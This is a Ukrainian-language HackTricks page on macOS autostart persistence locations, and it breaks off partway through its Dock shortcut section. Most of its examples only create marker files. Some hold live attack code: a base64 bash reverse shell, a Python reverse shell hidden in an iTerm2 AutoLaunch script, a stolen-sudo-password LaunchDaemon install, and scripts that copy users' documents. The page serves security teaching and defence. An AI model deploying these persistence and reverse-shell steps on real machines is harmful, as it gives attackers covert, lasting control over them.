Автозапуск macOS
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Цей розділ значною мірою базується на серії блогів Beyond the good ol’ LaunchAgents, мета — додати більше Autostart Locations (якщо можливо), вказати, which techniques are still working на останній версії macOS (13.4) та уточнити потрібні permissions.
Sandbox Bypass
Tip
Тут можна знайти місця автозапуску, корисні для sandbox bypass, які дозволяють просто виконати щось шляхом запису в файл і очікування дуже поширеної дії, визначеного проміжку часу або дії, яку ви зазвичай можете виконати зсередини sandbox без потреби в правах root.
Launchd
Locations
/Library/LaunchAgents- Тригер: перезавантаження
- Потрібен root
/Library/LaunchDaemons- Тригер: перезавантаження
- Потрібен root
/System/Library/LaunchAgents- Тригер: перезавантаження
- Потрібен root
/System/Library/LaunchDaemons- Тригер: перезавантаження
- Потрібен root
~/Library/LaunchAgents- Тригер: повторний вхід у систему
~/Library/LaunchDemons- Тригер: повторний вхід у систему
Tip
Як цікавинка,
launchdмає вбудований property list у секції Mach-o__Text.__config, який містить інші відомі сервіси, що launchd має запускати. Більше того, ці сервіси можуть міститиRequireSuccess,RequireRunтаRebootOnSuccess, що означає, що вони повинні бути запущені й успішно виконані.Звісно, це не можна змінити через code signing.
Description & Exploitation
launchd — це перший процес, який виконується ядром OX S при старті і останній, що завершується при вимкненні. Він завжди повинен мати PID 1. Цей процес буде читати і виконувати конфігурації, вказані в ASEP plists у:
/Library/LaunchAgents: Per-user agents встановлені адміністратором/Library/LaunchDaemons: System-wide daemons встановлені адміністратором/System/Library/LaunchAgents: Per-user agents, що постачає Apple/System/Library/LaunchDaemons: System-wide daemons, що постачає Apple
Коли користувач входить у систему, plist-и, розташовані в /Users/$USER/Library/LaunchAgents та /Users/$USER/Library/LaunchDemons, запускаються з правами вхідного користувача.
Головна відмінність між agents і daemons полягає в тому, що agents завантажуються під час входу користувача, а daemons — під час завантаження системи (оскільки існують сервіси, як-от ssh, які мають бути запущені ще до доступу будь-якого користувача до системи). Також agents можуть використовувати GUI, тоді як daemons мають працювати у фоновому режимі.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
Існують випадки, коли agent має бути виконаний перед входом користувача, їх називають PreLoginAgents. Наприклад, це корисно для надання допоміжних технологій під час входу. Їх також можна знайти в /Library/LaunchAgents (див. here як приклад).
Tip
Нові Daemons або Agents конфігураційні файли будуть завантажені після наступного перезавантаження або за допомогою
launchctl load <target.plist>Також можна завантажити .plist файли без цього розширення за допомогоюlaunchctl -F <file>(однак такі plist-файли не будуть автоматично завантажуватись після перезавантаження).
Також можна unload за допомогоюlaunchctl unload <target.plist>(вказаний ним процес буде завершено),Щоб переконатися, що немає нічого (наприклад override), що перешкоджає Agent або Daemon від виконання, запустіть:
sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
Перелічте всі agents і daemons, завантажені поточним користувачем:
launchctl list
Приклад шкідливого ланцюжка LaunchDaemon (повторне використання пароля)
Нещодавній macOS infostealer повторно використав перехоплений пароль sudo, щоб встановити user agent і root LaunchDaemon:
- Записати agent loop у
~/.agentі зробити його виконуваним. - Згенерувати plist у
/tmp/starter, що вказує на цей agent. - Повторно використати вкрадений пароль з
sudo -S, щоб скопіювати його в/Library/LaunchDaemons/com.finder.helper.plist, встановитиroot:wheelі завантажити за допомогоюlaunchctl load. - Запустити agent безшумно через
nohup ~/.agent >/dev/null 2>&1 &, щоб від’єднати вивід.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &
Warning
Якщо plist належить користувачу, навіть якщо він знаходиться в daemon system wide folders, задача буде виконана від імені користувача а не як root. Це може запобігти деяким атакам підвищення привілеїв.
Більше інформації про launchd
launchd — це перший процес у користувацькому режимі, який запускається з kernel. Запуск процесу має бути успішним і він не може завершитись або аварійно зупинитися. Він навіть захищений від деяких сигналів завершення.
Одне з перших завдань launchd — запустити всі daemons, такі як:
- Timer daemons based on time to be executed:
- atd (
com.apple.atrun.plist): Has aStartIntervalof 30min - crond (
com.apple.systemstats.daily.plist): HasStartCalendarIntervalto start at 00:15 - Network daemons like:
org.cups.cups-lpd: Listens in TCP (SockType: stream) withSockServiceName: printer- SockServiceName must be either a port or a service from
/etc/services com.apple.xscertd.plist: Listens on TCP in port 1640- Path daemons that are executed when a specified path changes:
com.apple.postfix.master: Checking the path/etc/postfix/aliases- IOKit notifications daemons:
com.apple.xartstorageremoted:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...- Mach port:
com.apple.xscertd-helper.plist: It’s indicating in theMachServicesentry the namecom.apple.xscertd.helper- UserEventAgent:
- Це відрізняється від попереднього. Він змушує launchd порожнювати (spawn) програми у відповідь на певні події. Однак у цьому випадку головний бінарний файл, що бере участь, — це не
launchd, а/usr/libexec/UserEventAgent. Він завантажує плагіни з SIP-restricted теки /System/Library/UserEventPlugins/, де кожен плагін вказує свій ініціалізатор у ключіXPCEventModuleInitializerабо, у випадку старіших плагінів, у словникуCFPluginFactoriesпід ключемFB86416D-6164-2070-726F-70735C216EC0у йогоInfo.plist.
shell startup files
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Useful to bypass sandbox: ✅
- TCC Bypass: ✅
- But you need to find an app with a TCC bypass that executes a shell that loads these files
Locations
~/.zshrc,~/.zlogin,~/.zshenv.zwc,~/.zshenv,~/.zprofile- Спрацьовує: Open a terminal with zsh
/etc/zshenv,/etc/zprofile,/etc/zshrc,/etc/zlogin- Спрацьовує: Open a terminal with zsh
- Root required
~/.zlogout- Спрацьовує: Exit a terminal with zsh
/etc/zlogout- Спрацьовує: Exit a terminal with zsh
- Root required
- Potentially more in:
man zsh ~/.bashrc- Спрацьовує: Open a terminal with bash
/etc/profile(didn’t work)~/.profile(didn’t work)~/.xinitrc,~/.xserverrc,/opt/X11/etc/X11/xinit/xinitrc.d/- Спрацьовує: Expected to trigger with xterm, but it isn’t installed and even after installed this error is thrown: xterm:
DISPLAY is not set
Description & Exploitation
При ініціалізації shell-середовища, такого як zsh або bash, запускаються певні файли запуску. macOS наразі використовує /bin/zsh як shell за замовчуванням. Цей shell автоматично відкривається при запуску додатка Terminal або при доступі до пристрою через SSH. Хоча bash і sh також присутні в macOS, їх потрібно викликати явно, щоб ними користуватися.
Ман-сторінка zsh, яку можна прочитати за допомогою man zsh, має детальний опис файлів запуску.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
Повторно відкриті програми
Caution
Налаштування зазначеної exploitation та вихід із системи і повторний вхід, або навіть перезавантаження, не допомогли мені запустити додаток. (Додаток не запускався; можливо, він має бути запущений під час виконання цих дій)
Розбір: https://theevilbit.github.io/beyond/beyond_0021/
Розташування
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist- Тригер: перезапуск з повторним відкриттям програм
Опис & Exploitation
Усі програми для повторного відкриття знаходяться в plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Отже, щоб повторно відкривані програми запускали ваш додаток, вам потрібно додати ваш додаток до списку.
UUID можна знайти, перерахувавши той каталог або за допомогою ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
Щоб перевірити програми, які будуть повторно відкриті, ви можете виконати:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Щоб додати додаток до цього списку ви можете використати:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Налаштування Terminal
- Корисно для обходу sandbox: ✅
- TCC bypass: ✅
- Terminal зазвичай має FDA-права користувача, який ним користується
Розташування
~/Library/Preferences/com.apple.Terminal.plist- Тригер: Відкрити Terminal
Опис та експлуатація
У ~/Library/Preferences зберігаються налаштування користувача для застосунків. Деякі з цих налаштувань можуть містити конфігурацію для запуску інших програм/скриптів.
Наприклад, Terminal може виконувати команду при запуску:
.png)
Ця конфігурація відображається у файлі ~/Library/Preferences/com.apple.Terminal.plist ось так:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Отже, якщо plist налаштувань терміналу в системі може бути перезаписаний, функціонал open можна використати, щоб відкрити термінал і ця команда буде виконана.
Ви можете додати це з cli за допомогою:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Terminal Scripts / Інші розширення файлів
- Корисно для обходу sandbox: ✅
- Обхід TCC: ✅
- Додаток Terminal зазвичай успадковує дозволи користувача (наприклад, TCC)
Розташування
- У будь-якому місці
- Тригер: Відкриття Terminal
Опис та експлуатація
Якщо ви створите .terminal script і відкриєте його, додаток Terminal автоматично запуститься для виконання вказаних у ньому команд. Якщо додаток Terminal має якісь спеціальні привілеї (наприклад, TCC), ваша команда буде виконана з цими спеціальними привілеями.
Спробуйте так:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
Ви також можете використовувати розширення .command, .tool з вмістом звичайних shell-скриптів — вони також будуть відкриватися Terminal.
Caution
Якщо Terminal має Full Disk Access, він зможе виконати цю дію (зверніть увагу, що виконана команда буде видима у вікні Terminal).
Аудіоплагіни
Опис: https://theevilbit.github.io/beyond/beyond_0013/
Опис: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
Розташування
/Library/Audio/Plug-Ins/HAL- Вимагає root
- Trigger: Перезапустити coreaudiod або комп’ютер
/Library/Audio/Plug-ins/Components- Вимагає root
- Trigger: Перезапустити coreaudiod або комп’ютер
~/Library/Audio/Plug-ins/Components- Trigger: Перезапустити coreaudiod або комп’ютер
/System/Library/Components- Вимагає root
- Trigger: Перезапустити coreaudiod або комп’ютер
Опис
Згідно з попередніми описами, можливо скомпілювати деякі audio plugins і змусити їх завантажитись.
QuickLook плагіни
Опис: https://theevilbit.github.io/beyond/beyond_0028/
Розташування
/System/Library/QuickLook/Library/QuickLook~/Library/QuickLook/Applications/AppNameHere/Contents/Library/QuickLook/~/Applications/AppNameHere/Contents/Library/QuickLook/
Опис & Експлуатація
QuickLook плагіни можуть виконуватись, коли ви ініціюєте попередній перегляд файлу (натисніть пробіл при вибраному файлі в Finder) і встановлено плагін, що підтримує цей тип файлу.
Можна скомпілювати власний QuickLook плагін, помістити його в одне з вищенаведених розташувань, щоб він завантажився, а потім перейти до підтримуваного файлу і натиснути пробіл, щоб його запустити.
Login/Logout Hooks
Caution
Це не спрацювало для мене, ні з user LoginHook, ні з root LogoutHook
Опис: https://theevilbit.github.io/beyond/beyond_0022/
Розташування
- Ви повинні мати можливість виконати щось на кшталт
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh - Знаходиться в
~/Library/Preferences/com.apple.loginwindow.plist
Вони застарілі, але можуть використовуватись для виконання команд при вході користувача в систему.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
Це налаштування зберігається в /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
Щоб видалити його:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
Файл для користувача root зберігається в /private/var/root/Library/Preferences/com.apple.loginwindow.plist
Умовний обхід Sandbox
Tip
Тут ви знайдете стартові місця, корисні для sandbox bypass, які дозволяють просто виконати щось шляхом запису в файл та за умови очікування не надто поширених умов, таких як конкретні програми встановлені, “непоширені” дії користувача або середовища.
Cron
Writeup: https://theevilbit.github.io/beyond/beyond_0004/
- Корисно для обходу sandbox: ✅
- Однак потрібно мати можливість виконати бінарний файл
crontab - Або бути root
- TCC bypass: 🔴
Розташування
/usr/lib/cron/tabs/,/private/var/at/tabs,/private/var/at/jobs,/etc/periodic/- Для прямого запису потрібен root. Root не потрібен, якщо ви можете виконати
crontab <file> - Trigger: Залежить від завдання cron
Опис та експлуатація
Перелічити cron-завдання поточого користувача за допомогою:
crontab -l
Ви також можете переглянути всі cron jobs користувачів у /usr/lib/cron/tabs/ та /var/at/tabs/ (потрібен root).
У MacOS кілька папок, які виконують скрипти з певною частотою, можна знайти в:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
Там можна знайти звичайні cron jobs, at jobs (не дуже часто використовуються) та periodic jobs (головним чином використовуються для очищення тимчасових файлів). Щоденні periodic jobs можна виконати, наприклад, за допомогою: periodic daily.
Щоб додати user cronjob programatically, можна використати:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
Опис: https://theevilbit.github.io/beyond/beyond_0002/
Розташування
~/Library/Application Support/iTerm2/Scripts/AutoLaunch- Тригер: Відкрити iTerm
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt- Тригер: Відкрити iTerm
~/Library/Preferences/com.googlecode.iterm2.plist- Тригер: Відкрити iTerm
Опис & Експлуатація
Скрипти, що зберігаються в ~/Library/Application Support/iTerm2/Scripts/AutoLaunch, будуть виконані. Наприклад:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
або:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
Скрипт ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt також буде виконаний:
do shell script "touch /tmp/iterm2-autolaunchscpt"
Налаштування iTerm2, що знаходяться в ~/Library/Preferences/com.googlecode.iterm2.plist, можуть вказувати команду для виконання під час відкриття терміналу iTerm2.
Цю опцію можна налаштувати в налаштуваннях iTerm2:
.png)
І команда відображається в налаштуваннях:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
Ви можете задати команду для виконання за допомогою:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
Warning
Існує велика ймовірність, що є інші способи зловживання налаштуваннями iTerm2 для виконання довільних команд.
xbar
Розбір: https://theevilbit.github.io/beyond/beyond_0007/
- Корисно для обходу sandbox: ✅
- Але xbar має бути встановлено
- TCC bypass: ✅
- Потребує дозволів Accessibility
Location
~/Library/Application\ Support/xbar/plugins/- Trigger: Після запуску xbar
Description
Якщо популярна програма xbar встановлена, можна записати shell script у ~/Library/Application\ Support/xbar/plugins/, який буде виконано під час запуску xbar:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
Опис: https://theevilbit.github.io/beyond/beyond_0008/
- Корисно для обходу sandbox: ✅
- Але Hammerspoon має бути встановлено
- TCC bypass: ✅
- Вимагає дозволів Accessibility
Розташування
~/.hammerspoon/init.lua- Тригер: Коли hammerspoon запускається
Опис
Hammerspoon слугує платформою автоматизації для macOS, використовуючи мову сценаріїв LUA для своїх операцій. Варто зауважити, що він підтримує інтеграцію повного коду AppleScript та виконання shell-скриптів, суттєво розширюючи свої можливості зі скриптування.
Додаток шукає один файл, ~/.hammerspoon/init.lua, і при запуску цей скрипт буде виконано.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Корисно для обходу sandbox: ✅
- Але BetterTouchTool має бути встановлено
- TCC bypass: ✅
- Запитує дозволи Automation-Shortcuts та Accessibility
Розташування
~/Library/Application Support/BetterTouchTool/*
Цей інструмент дозволяє вказувати програми або скрипти для виконання при натисканні певних shortcut’ів. Зловмисник може налаштувати власний shortcut і дію для виконання в базі даних, щоб виконати довільний код (shortcut може бути просто натискання клавіші).
Alfred
- Корисно для обходу sandbox: ✅
- Але Alfred має бути встановлено
- TCC bypass: ✅
- Запитує дозволи Automation, Accessibility і навіть Full-Disk access
Розташування
???
Воно дозволяє створювати workflows, які можуть виконувати код при настанні певних умов. Можливо, зловмисник може створити файл workflow і змусити Alfred його завантажити (для цього потрібна платна версія).
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
- Корисно для обходу sandbox: ✅
- Але ssh має бути увімкнено й використовуватися
- TCC bypass: ✅
- SSH раніше мав FDA access
Розташування
~/.ssh/rc- Тригер: вхід через ssh
/etc/ssh/sshrc- Потрібні root-права
- Тригер: вхід через ssh
Caution
Для увімкнення ssh потрібно Full Disk Access:
sudo systemsetup -setremotelogin on
Опис і експлуатація
За замовчуванням, якщо в /etc/ssh/sshd_config не стоїть PermitUserRC no, коли користувач логіниться через SSH, виконаються скрипти /etc/ssh/sshrc і ~/.ssh/rc.
Login Items
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
Розташування
~/Library/Application Support/com.apple.backgroundtaskmanagementagent- Тригер: вхід
- Експлойт payload зберігається викликом
osascript /var/db/com.apple.xpc.launchd/loginitems.501.plist- Тригер: вхід
- Потрібні root-права
Опис
У System Preferences -> Users & Groups -> Login Items ви можете знайти елементи, які виконуються при вході користувача.
Можна перерахувати їх, додати та видалити з командного рядка:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
Ці елементи зберігаються у файлі ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
Login items також можуть бути вказані з використанням API SMLoginItemSetEnabled, який зберігатиме конфігурацію в /var/db/com.apple.xpc.launchd/loginitems.501.plist
ZIP як елемент входу
(Перегляньте попередній розділ про елементи входу, це розширення)
Якщо ви збережете файл ZIP як елемент входу, Archive Utility відкриє його, і якщо zip, наприклад, був збережений у ~/Library та містив папку LaunchAgents/file.plist з backdoor, ця папка буде створена (за замовчуванням вона не створюється) і plist буде додано, тож наступного разу при вході користувача backdoor, вказаний у plist, буде виконано.
Іншим варіантом буде створити файли .bash_profile і .zshenv у HOME користувача, тож якщо папка LaunchAgents уже існує, ця техніка все одно спрацює.
At
Writeup: https://theevilbit.github.io/beyond/beyond_0014/
Розташування
- Потрібно виконати
at, і він має бути увімкнений
Опис
at задачі призначені для планування одноразових завдань, які виконуються у визначений час. На відміну від cron jobs, at задачі автоматично видаляються після виконання. Важливо зазначити, що ці задачі зберігаються між перезавантаженнями системи, що робить їх потенційним ризиком з точки зору безпеки за певних умов.
За замовчуванням вони вимкнені, але користувач root може увімкнути їх за допомогою:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
Це створить файл через 1 годину:
echo "echo 11 > /tmp/at.txt" | at now+1
Перевірте чергу завдань за допомогою atq:
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
Вище видно два заплановані завдання. Деталі завдання можна вивести за допомогою at -c JOBNUMBER
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
Warning
Якщо AT tasks не ввімкнені, створені завдання не будуть виконані.
Файли завдань можна знайти за адресою /private/var/at/jobs/
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
Ім’я файлу містить чергу, номер завдання та час, коли воно заплановане на виконання. Наприклад, подивімося на a0001a019bdcd2.
a- це черга0001a- номер завдання в hex,0x1a = 26019bdcd2- час у hex. Він представляє кількість хвилин, що пройшли з epoch.0x019bdcd2=26991826у десятковій. Якщо помножити на 60, отримаємо1619509560, що відповідає GMT: 2021. April 27., Tuesday 7:46:00.
Якщо вивести вміст job-файлу, ми бачимо ту ж інформацію, яку отримали за допомогою at -c.
Folder Actions
Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- Корисно для обходу sandbox: ✅
- Але потрібно мати можливість викликати
osascriptз аргументами, щоб звертатися доSystem Eventsдля налаштування Folder Actions - TCC bypass: 🟠
- Має базові TCC-права, як Desktop, Documents та Downloads
Location
/Library/Scripts/Folder Action Scripts- Потребує root
- Trigger: доступ до вказаної папки
~/Library/Scripts/Folder Action Scripts- Trigger: доступ до вказаної папки
Description & Exploitation
Folder Actions — це скрипти, які автоматично запускаються при змінах у папці, таких як додавання або видалення елементів, або інших діях, наприклад відкриття чи зміна розміру вікна папки. Ці дії можна використовувати для різних завдань і їх можна запускати по-різному, наприклад через UI Finder або через командний рядок.
Щоб налаштувати Folder Actions, є такі варіанти:
- Створити Folder Action workflow за допомогою Automator і встановити його як сервіс.
- Прикріпити скрипт вручну через Folder Actions Setup у контекстному меню папки.
- Використати OSAScript для відправки Apple Event повідомлень до
System Events.appдля програмного налаштування Folder Action.
- Цей метод особливо корисний для вбудовування дії в систему, забезпечуючи певний рівень persistence.
Наведений нижче скрипт є прикладом того, що може виконуватися за допомогою Folder Action:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Щоб зробити наведений вище скрипт придатним для Folder Actions, скомпілюйте його, використовуючи:
osacompile -l JavaScript -o folder.scpt source.js
Після компіляції скрипта налаштуйте Folder Actions, виконавши наведений нижче скрипт. Цей скрипт ввімкне Folder Actions глобально і спеціально прив’яже раніше скомпільований скрипт до папки Desktop.
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
Запустіть скрипт налаштування за допомогою:
osascript -l JavaScript /Users/username/attach.scpt
- Ось як реалізувати це persistence через GUI:
Ось скрипт, який буде виконано:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Скомпілюйте це за допомогою: osacompile -l JavaScript -o folder.scpt source.js
Перемістіть у:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Потім відкрийте додаток Folder Actions Setup, виберіть папку, яку ви хочете відслідковувати, і в вашому випадку виберіть folder.scpt (у моєму випадку я назвав її output2.scp):
.png)
Тепер, якщо ви відкриєте цю папку через Finder, ваш скрипт буде виконаний.
Ця конфігурація була збережена в plist, що знаходиться за адресою ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist у форматі base64.
Тепер спробуємо підготувати цю персистенцію без доступу до GUI:
- Скопіюйте
~/Library/Preferences/com.apple.FolderActionsDispatcher.plistдо/tmp, щоб зробити резервну копію:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- Видаліть Folder Actions, які ви щойно встановили:
.png)
Тепер, коли у нас порожнє середовище
- Скопіюйте файл резервної копії:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/ - Відкрийте Folder Actions Setup.app, щоб застосувати цю конфігурацію:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
Caution
І це не спрацювало для мене, але це інструкції з writeup:(
Ярлики Dock
Writeup: https://theevilbit.github.io/beyond/beyond_0027/
Розташування
~/Library/Preferences/com.apple.dock.plist- Trigger: Коли користувач клацне на додатку в Dock
Опис & Експлуатація
Всі додатки, що з’являються в Dock, вказані в plist: ~/Library/Preferences/com.apple.dock.plist
Можна додати додаток просто за допомогою:
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
Використовуючи дещо social engineering, ви можете impersonate for example Google Chrome у Dock і фактично виконати власний скрипт:
#!/bin/sh
